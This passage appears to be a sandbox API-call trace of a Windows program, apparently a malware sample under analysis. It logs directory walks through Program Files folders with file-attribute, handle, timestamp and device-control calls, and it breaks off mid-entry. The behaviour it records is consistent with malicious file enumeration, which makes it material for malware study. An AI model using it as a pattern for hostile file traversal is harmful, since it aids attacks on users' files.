RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcb08 [0087.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de98 [0087.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.957] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0087.957] GetLastError () returned 0x12 [0087.957] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0087.957] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0087.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0087.957] GetLastError () returned 0x12 [0087.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.958] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.958] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0087.958] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0087.958] GetLastError () returned 0x12 [0087.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0087.959] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0087.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0087.959] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0087.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0087.959] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java" (normalized: "c:\\program files (x86)\\java"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java" (normalized: "c:\\program files (x86)\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.960] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0087.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132aaa0 [0087.960] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132aaa0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x132aaa0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0087.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132aaa0) returned 1 [0087.960] NtClose (Handle=0x16c) returned 0x0 [0087.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0087.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0087.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0087.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0087.961] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0087.962] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.962] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89270, ftCreationTime.dwHighDateTime=0x1d5b8bd, ftLastAccessTime.dwLowDateTime=0xc84a7630, ftLastAccessTime.dwHighDateTime=0x1d58562, ftLastWriteTime.dwLowDateTime=0xc84a7630, ftLastWriteTime.dwHighDateTime=0x1d58562, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0087.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.963] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1 [0087.963] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb3ad80, ftCreationTime.dwHighDateTime=0x1d5394d, ftLastAccessTime.dwLowDateTime=0x28534170, ftLastAccessTime.dwHighDateTime=0x1d53aee, ftLastWriteTime.dwLowDateTime=0x28534170, ftLastWriteTime.dwHighDateTime=0x1d53aee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0087.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.964] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cde90e0, ftCreationTime.dwHighDateTime=0x1d56ff1, ftLastAccessTime.dwLowDateTime=0x300ddb0, ftLastAccessTime.dwHighDateTime=0x1d5a65f, ftLastWriteTime.dwLowDateTime=0x300ddb0, ftLastWriteTime.dwHighDateTime=0x1d5a65f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0087.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.966] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cde90e0, ftCreationTime.dwHighDateTime=0x1d56ff1, ftLastAccessTime.dwLowDateTime=0x300ddb0, ftLastAccessTime.dwHighDateTime=0x1d5a65f, ftLastWriteTime.dwLowDateTime=0x300ddb0, ftLastWriteTime.dwHighDateTime=0x1d5a65f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0087.966] GetLastError () returned 0x12 [0087.966] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0087.966] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.966] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.966] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89270, ftCreationTime.dwHighDateTime=0x1d5b8bd, ftLastAccessTime.dwLowDateTime=0xc84a7630, ftLastAccessTime.dwHighDateTime=0x1d58562, ftLastWriteTime.dwLowDateTime=0xc84a7630, ftLastWriteTime.dwHighDateTime=0x1d58562, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0087.966] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1 [0087.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7" (normalized: "c:\\program files (x86)\\java\\jre7"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7" (normalized: "c:\\program files (x86)\\java\\jre7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.967] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132aaa0 [0087.967] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132aaa0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x132aaa0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132aaa0) returned 1 [0087.967] NtClose (Handle=0x16c) returned 0x0 [0087.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.968] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0087.968] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.969] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0087.969] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="")) returned 1 [0087.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcb28 [0087.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124df20 [0087.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.970] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0087.970] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0087.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcb48 [0087.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dfa8 [0087.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.972] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0087.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcb68 [0087.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e030 [0087.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.974] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0087.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcb88 [0087.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e0b8 [0087.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.975] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="")) returned 1 [0087.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.976] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b350, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="")) returned 1 [0087.977] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="")) returned 1 [0087.977] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, 